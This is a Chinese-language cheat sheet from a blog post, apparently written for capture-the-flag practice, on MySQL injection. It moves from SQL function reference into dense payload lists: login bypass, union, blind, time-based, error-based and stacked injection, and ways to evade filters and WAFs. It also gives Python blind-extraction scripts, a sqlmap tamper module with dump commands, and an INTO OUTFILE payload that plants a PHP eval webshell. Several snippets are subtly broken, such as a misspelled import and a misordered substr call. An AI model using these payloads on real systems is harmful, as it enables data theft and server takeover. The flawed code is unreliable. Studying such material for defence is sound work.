LIMIT
LIMIT 子句可以被用于强制 SELECT 语句返回指定的记录数。
SELECT * FROM table LIMIT 5,10; // 检索记录行 6-15
//为了检索从某一个偏移量到记录集的结束所有的记录行,可以指定第二个参数为 -1:
SELECT * FROM table LIMIT 95,-1; // 检索记录行 96-last.
//如果只给定一个参数,它表示返回最大的记录行数目:
SELECT * FROM table LIMIT 5; //检索前 5 个记录行
//换句话说,LIMIT n 等价于 LIMIT 0,n
UNION
UNION 联合语句是用来联合多个表进行查询。是将多个表合成为一个表。而在SQL注入中,联合查询的作用是:在已有的系统语句上,通过联合查询可以查询到数据库中的其他内容。(这里注意:联合查询时,输出的列数需要一致才能成功)
用法:语句1 union all 语句2,只要将语句1的返回false就可以只显示语句2的内容
MID
MID 函数为截取字符串一部分。MID(column_name, start[, length])
参数 | 描述 |
---|---|
column_name | 必需。要提取字符的字段。 |
start | 必需。规定开始位置(起始值是 1)。 |
length | 可选。要返回的字符数。如果省略,则 MID() 函数返回剩余文本。 |
例:str=“123456” mid(str,2,1) 结果为2
Sql用例:
mid(DATABASE(),1,1)>’a’,查看数据库名第一位,mid(DATABASE(),2,1)查看数据库名第二位,依次查看各位字符。
mid((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0xxxxxxx LIMIT 0,1),1,1)>’a’此处column_name参数可以为sql语句,可自行构造sql语句进行注入。
SUBSTR
SUBSTR 和SUBSTRING 实现的功能是一样的,均为截取字符串。SUBSTR(string, start[, length]),参数描述同MID函数。
Sql用例:
substr(DATABASE(),1,1)>’a’,查看数据库名第一位,substr(DATABASE(),2,1)查看数据库名第二位,依次查看各位字符。
substr((SELECT table_name FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0xxxxxxx LIMIT 0,1),1,1)>’a’此处string参数可以为sql语句,可自行构造sql语句进行注入。
LEFT
LEFT得到字符串左部指定个数的字符。Left ( string, n ) ,string为要截取的字符串,n为长度。
Sql用例:
left(database(),1)>’a’,查看数据库名第一位, left(database(),2)>’ab’,查看数据库名前二位。
ORDER BY
ORDER BY 关键字用于对结果集按照一个列或者多个列进行排序。
ORDER BY 关键字默认按照升序对记录进行排序。如果需要按照降序对记录进行排序,您可以使用 DESC 关键字。
实例
还可以指定字段的栏位进行排序
SELECT * FROM Websites ORDER BY 1; //对第一列(即id)进行排序,超过列数会报错,可以用此判断列数。
LOCATE
LOCATE 返回第一次出现在字符串str的子串substr的位置(,从位置pos开始)。 substr不在str中,则返回0。LOCATE(substr, str[, pos])
LOCATE('bar', 'foobarbar') //4
ORD / ASCII
ORD/ASCII 返回第一个字符的ASCII码,常与上面函数组合使用。
Sql用例:
SELECT ORD(MID(DATABASE(),1,1))>114 意为检测database()的第一位ASCII码是否大于114,也就是‘r’
SELECT ASCII(MID(DATABASE(),1,1))>114
HEX
HEX 返回所有字符的十六进制数值,常与上面函数组合使用。
BINARY
BINARY 将紧随其后的 string 转换为 二进制字符串。主要用来强制进行按字节进行比较(byte by byte)。这使得字符串比较是区分大小写的。BINARY 也对字符串末尾的空格敏感。(sql默认是不区分大小写的)
binary'a' = 'a'
binary'A' != 'a'
IF
if(exp1,exp2,exp3) 如果满足exp1,那么执行exp2,否则执行exp3
HANDLER
让我们一行一行浏览一个表的数据(mysql的专用语句,其他sql语言无)
用法举例:
handler users open as hd; #载入指定的数据表“users”并返回句柄“hd”
handler hd read first; #读取数据表首行
handler hd read next; #读取下一行
handler hd close; #关闭句柄
可以与堆叠注入结合使用
正常查询语句如下
mysql_query(" select username,age from userinfo where id='$_GET['id']' ");
万能密码
' or '1'='1 //完整语句 select username,age from userinfo where id='' or '1'='1'
' or 1=1# //完整语句 select username,age from userinfo where id='' or 1=1#'
'=0# //完整语句 select username,age from userinfo where id=''=0#
使用union进行联合查询
xx' union select 1,(select database()) #
xx' union select (select database()),2 or ' //这里如果把查询语句放到2的位置上,因为or的关系会不能显示正常查询的内容
如果登录页面的验证逻辑是如下形式
$result = mysql_query(" select username,password from userinfo where id='$_GET['username']' ");
if(md5($_GET['password']) === $result['password']){
echo "登录成功";
}
else{
echo "登录失败";
}
可通过下来方法构造来绕过用户名和密码
账户:xx' union select 1,'c81e728d9d4c2f636f067f89cc14862c' # //c81e728d9d4c2f636f067f89cc14862c是2的md5值
密码:2
?username=1'union select 1,'admin',md5(x)#&password=x#
//会让mysql建立一个id=1,username=admin,password=md5(x)的表,此时password传参x即可绕过
?username=1'union select 1,'admin',NULL#&password[]=111
//同理
联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据。
当我随意填入一个username,所查询结果为空
若结合union select语句,其后面所输入的值会分别赋给username和password两个变量,若知道字段中username和password的位置,就能依此实现注入
使用bool回显判断注入 + bypass
注入语句:
xx' or if((substr((select database()),1,1)='f'),1,0) # //判断数据库第一个字符是否为c
那么查询第二个字符可以用下列方法
xx' or if((substr((select database()),2,1)='fl'),1,0) #
或
xx' or if((substr((select database()),1,2)='f'),1,0) #
· 关键字过滤:
-
order by被过滤
可以使用group by
替换
-
注释符(
--+
、#
)被过滤
尝试构造闭合
?payload=1' order by 4,' ->完整sql语句
SELECT * FROM `users` where name = 'user' order BY 4,''; # ,'是利用order by函数来闭合后面引号,group by同理
?payload='union select 1,(select group_concat(table_name) from mysql.innodb_table_stats),3,'4
->完整sql语句
SELECT * FROM `users` where name = ''union select 1,(select group_concat(table_name) from mysql.innodb_table_stats),3,'4';
-
, (逗号)被过滤了,可以用如下方式处理
if(exp1, exp2, exp3) => case when exp1 then exp2 else exp3 end
substr(exp1, 1, 1) => substr(exp1) from 1 for 1
xx' or case when (substr((select database()) from 1 for 1)='c') then 1 else 0 end #
-
substr被过滤了,可以用如下方式处理
xx' or if((locate(binary'c',(select database()),1)=1),1,0) #
xx' or if((locate(binary't',(select database()),1)=2),1,0) #
ps:因为mysql对大小写不敏感,所以写的时候用 locate(binary'S', str, 1) 加个binary即可
-
and 和 or 被过滤了
and => &&
or => ||
-
where被过滤
where id='1' => order by id having id='1'
-
= 被过滤
'=' => '<>'
或者用like
-
'<','>','='被过滤,但是要设置范围
id = 1 ==> id between 1 and 1
-
空格被过滤
有两种办法,通过括号或者/**/来完成不需要空格也能执行的方法
xx'/**/union/**/select/**/1,2,3,4/**/#
xx'union select(1),(2),(3)#空格有个问题,它是将参数括起来来绕过空格,但是如果2个关键字比如这里的union和select没法一个当另一个的参数,于是有时候这个方法也不灵
-
单引号的过滤
虽然sql注入第一步就是将单引号逃逸出来,但是有时候单引号逃逸了后会在单引号前面加些奇怪的东西,比如GBK宽字节注入
这时候可以hex编码
'内容' 等价于 0x内容的十六进制编码
'abc' = 0x616263
-
substring与mid被过滤
可以用right与left来绕过
-
双写绕过清空
有些waf是用preg_match将非法字符替换为空,比如
$sql = preg_match("/union|select/i", "", $sql)
在有/xx/i忽视大小写可以双写=>seselectlect
-
url和base64编码
在有些代码中会对参数进行base64解码,url解码等操作,如果这些操作在转义或者waf之后的话,就会逃过过滤达到注入的效果
-
内敛注释
在有些在后台代码上对关键字并未过滤,但是之后会经过安全软件,再存入数据库,有时候内敛注释可以骗过安全软件
/*!union*/ #其中的union是会执行的
· 特别的sprintf
有些时候会用sprintf来包裹sql语句,但是sprintf这个函数有个问题在,非正常的地方输入%,会提示warning(如果没有用@禁止的话)
利用方法,用 %1$' 代替 '
' ==> %1$'
%1$'or 1=1 #
· 关于json的编码
之前做18年HCTF的时候,一道简单的代码审计题,会将cookie中的值代入waf中,然后再进入数据库
关键点在于在经过waf后,它会进行json的解码。
在json解码中有个Unicode的编码问题,有兴趣可以百度下,我这里直接写利用方法
json编码可以用\u00xx (xx为16进制ascii码)来用Unicode来编码对应字符。如果waf在json_decode之前,那么可以通过这个方法绕过
'\u0075' ==> 'u'
使用延迟注入
在输入无论正确的sql语句还是错误的sql语句页面都一样的情况下可以使用该方法进行判断是否成功
延时注入的本质是执行成功后延时几秒后再回显,反之不会延时直接回显
还是利用if来判断结果正确与否,只是返回值用延时来代替1
方法:sleep,benchmark, 笛卡尔积等
基于sleep的延迟
xx' or if(length((select database()))>1,sleep(5),1) #
基于笛卡尔乘积运算时间造成的时间延迟
xx' or if(length((select database()))>1,(select count(*) FROM information_schema.columns A,information_schema.columns p B,information_schema.columns C),1) #
基于benchmark的延迟 //benchmark和笛卡尔积的原理实质上是运算时间过长导致的延迟
xx'or if(length((select database()))>1,(select BENCHMARK(10000000,md5('a'))),1) #--大概会用2S时间
SQL注入的技巧
hex编码与字符串
字符串在某种意义上是和它的hex值等价的,举个栗子
select * from admin where id = '1' <===> select * from admin where id = 0x31
能够被hex编码的内容必须是字符串,即'(被单引号括起来)'的内容。关键字是不能被编码的
利用group_concat连接多行
xx' union select 1,2,(select group_concat(name,id) from admin) #
利用like和regexp来进行匹配
like后面能进行模糊匹配,关键字内容为
% => 匹配任意个字符串
_ => 匹配一个字符
但是存在前提,被匹配的字符可以是select查询语句,可以是该表内的字段,可以是返回为字符串的函数比如database()
xx' or database() like 'c%' #
xx' or database() like 'ct_' #xx' or name like 'siji%' #xx' or (select dd from uesrinfo) like 'h%' #
在某种程度上regexp和like的效果差不多,但是它是支持正则表达式
xx' or database() like '^c.f$' #
但是这样不方便,测试一下后发现可以用这个方法逐个匹配
xx' or name regexp '^s$*'
xx' or name regexp '^si$*'
数字型注入
?id=-1 union/**/select 1,2,3,4#
?id=-1 union/**/select 1,database(),3,4#
?id=-1 union/**/select 1,table_name,3,4 from information_schema.tables where table_schema=database()#
?id=-1 union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name="web1"),3,4#
?id=-1 union/**/select 1,group_concat(column_name),3,4 from
information_schema.columns where table_schema=database() and table_name='users'#
?id=-1 union/**/select 1,group_concat(no,'~',username,'~',passwd,'~',data),3,4 from users#
?id=-1 union/**/select/**/1,(select/**/group_concat(`3`)/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users)x),3,4#
# 1 2 3分别代表第一、二、三列数据,如果反引号被过滤可以使用as:
?id=-1 union/**/select/**/1,(select/**/group_concat(a)/**/from/**/(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)x),3,4#
# 想查看第二列就group_concat(a),查看第三列就group_concat(b)
# x为别名,可以为任意值,但是必须存在一个别名否则报错
title=1'union/**/select/**/1,(select/**/group_concat(a)/**/from/**/(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22&content=mochu7&ac=add
二次注入
恶意数据经过一些转义函数(get_magic_quotes_gpc)的处理之后不会触发sql注入,然后插入到数据库中,再次调用的时候因为默认数据库里面的数据都是安全的,所以不会再进行检测,直接进行使用,导致二次注入
暂时没完全搞懂
布尔盲注python脚本
import requests
url = "xxxx"
flag = ""
s = reuqests.session() #获取会话
for i in range(100): #在bool还是延时注入的时候都要一个个试,假设我们这里不知道目标字段的长度就稍微设置个合适的
for j in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890!@#$%^&*()_-,.": #这个是可能的字符,一个个试呗
payload = "xx' or if((substr(database())=" + str(j) + "," + str(i) + ",1),1,0) #" #手工测出来有效的payload,当然实际情况会根据waf变个型
data = {
'username':'payload', #最好在此处直接写,引用变量可能会出错
'password':'123'
}
s.post(url,data=data) #发送数据
if "right" in s.text : #如果返回值有在sql语句成功后有不同于失败的时候的回显,将该回显当做判定
flag += str(j)
print flag
break
我们在知道替换规则的情况下可以自己写sqlmap的bypass脚本
在sqlmap文件夹下的/tamper/下,自己创建个py文件
#!/usr/bin/env python
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.HIGHEST
def dependencies():
pass
def tamper(payload, **kwargs):
payload = payload.replace("'","%1$'") #将什么替换成什么
payload = payload.replace("u","\u0075") #将什么替换成什么,可以写很多个
return payload
在sqlmap使用的时候调用这个模块,即可使用自定义过程
sqlmap --tamper=模块名.py -u 'http://xxx.xx.xx.xx/ddd.php?id=1'
将结果写入文件达到getshell
写入文件的前提是outfile这个关键字没有被禁止,并且知道web站点的绝对路径
使用方法是
xx' union select 1,2,'<?php eval($_POST[1]) ?>' into outfile '/var/www/html/sijidou.php' #
异或注入
背景:当我们在尝试SQL注入时,发现union,and被完全过滤掉了,就可以考虑使用异或注入
异或运算规则:
相同为0,不同为1
1^1^1=1 1^1^0=0
构造payload:
^ascii(mid(database(),1,1)=98)^0
xx'^ascii(mid(database(),1,1)=98)^'
注意这里会多加一个^0或1是因为在盲注的时候可能出现了语法错误也无法判断,而改变这里的0或1,如果返回的结果是不同的,那就可以证明语法是没有问题的
脚本
import requests
import time
myurl = 'http://0f4b65c0-9dc2-4960-af43-9c08c995b8dd.node4.buuoj.cn:81/'
flag = ''
for pos in range(500):
min_num = 32
max_num = 126
mid_num = (min_num + max_num) // 2
while (min_num < max_num):
# payload = 'search.php?id=0^(ord(substr(database(),{},1))>{})'.format(pos, mid_num)
# payload = 'search.php?id=0^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{},1))>{})'.format(pos, mid_num)
# payload = "search.php?id=0^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),{},1))>{})".format(pos, mid_num)
payload = "search.php?id=0^(ord(substr((select(group_concat(password))from(geek.F1naI1y)),{},1))>{})".format(pos, mid_num)
attack_url = myurl + payload
resp = requests.get(url=attack_url)
time.sleep(0.5)
if 'NO! Not this! Click others' in resp.text:
min_num = mid_num + 1
else:
max_num = mid_num
mid_num = ((min_num + max_num) // 2)
flag += chr(min_num)
print(flag)
堆叠注入
顾名思义,就是将语句堆叠在一起进行查询
原理:ysql_multi_query()
支持多条sql语句同时执行,用;
分隔成堆的执行sql语句,例如
select * from users;show databases; #
相关查询语句
1';show databases;
1';show tables;
1';show columns from `FlagHere`;
or
1';desc FlagHere;
1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;
or
1';handler FlagHere open as aaa;handler aaa read next;
or
1';handler FlagHere open;handler FlagHere read next;
报错注入
报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中
前提:页面上可以没有显示位,但是必须有SQL语句执行错误的信息
显示位:
我们在进行手工SQL注入的时候会用到ORDER BY 查询列数,然后通过UNION SELECT爆出在网页中的显示位。这个显示位指的是网页中能够显示数据的位置。
举例来说,比如我们通过ORDER BY命令知道了表的列数为11。然后再使用UNION SELECT 1,2,3…,11 from table,网页中显示了信息8,那么说明网页只能够显示第8列中信息,不能显示其他列的信息。也可以理解为网页只开放了8这个窗口,你想要查询数据库信息就必须要通过这个窗口。所以如果我们想要知道某个属性的值,比如admin,就要把admin属性放到8的位置上,这样就能通过第8列爆出admin的信息。
构造报错注入的基本步骤:
- 构造目标查询语句;
- 选择报错注入函数;
- 构造报错注入语句;
- 拼接报错注入语句;
常见的报错注入函数
-
floor();
?name=lili'union select 1,count(*) from information_schema.tables group by concat(0x7e,database(),0x7e,floor(rand(0)*2))--+ //获取当前数据库库名
-
extractvalue(); *
?id=1'and extractvalue(1,concat(1,(select database())))--+ or ?id=1' and extractvalue(1,concat(0x7e,database()))# //0x7e可以在mysql里被解读为符号"~",也可以直接用"~") //获取当前数据库库名 ?id=1'and extractvalue(1,concat(1,(select group_concat(schema_name)from information_schema.schemata)))--+ //获取所有的数据库库名 /*由于extractvalue()函数一次性最大只返回32位,所以接下来可以使用substr()函数输入所有的数据*/ ?id=1' and extractvalue(1,concat(1,(select substr((select group_concat(schema_name) from information_schema.schemata),1,20)))) --+ //使用substr()函数截取所有的数据
-
updatexml(); *
?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+ or ?id=1'updatexml(1, concat(0x7e,database(),0x7e),1) //获取当前数据库库名 ?id=1'and extractvalue(1,concat(1,(select group_concat(schema_name)from information_schema.schemata)))--+//获取所有的数据库库名 /*截取所有数据用法同上*/ ?id=1'or(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like('geek')),0x7e),1))# //查表名 ?id=admin'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))# //查列名 ?id=admin'or(updatexml(1,concat(0x7e,(select(right(password,35))from(H4rDsq1)),0x7e),1))# //查数据
-
geometrycollection();
-
multipoint();
-
polygon();
-
multipolygon();
-
linestring();
-
multilinestring();
-
exp();
sqlmap
python sqlmap.py -u "http://192.168.43.201/homework/query.php?id=1" -current-db
python sqlmap.py -u "http://192.168.43.201/homework/query.php?id=1" -D "test" –tables
python sqlmap.py -u "http://192.168.43.201/homework/query.php?id=1" -D "test" -T "auth" –columns
python sqlmap.py -u "http://192.168.43.201/homework/query.php?id=1" -D "test" -T "auth" -C id,username,password –dump
标签:database,union,xx,concat,sql,id,select,注入
From: https://www.cnblogs.com/s1mh0/p/17052322.html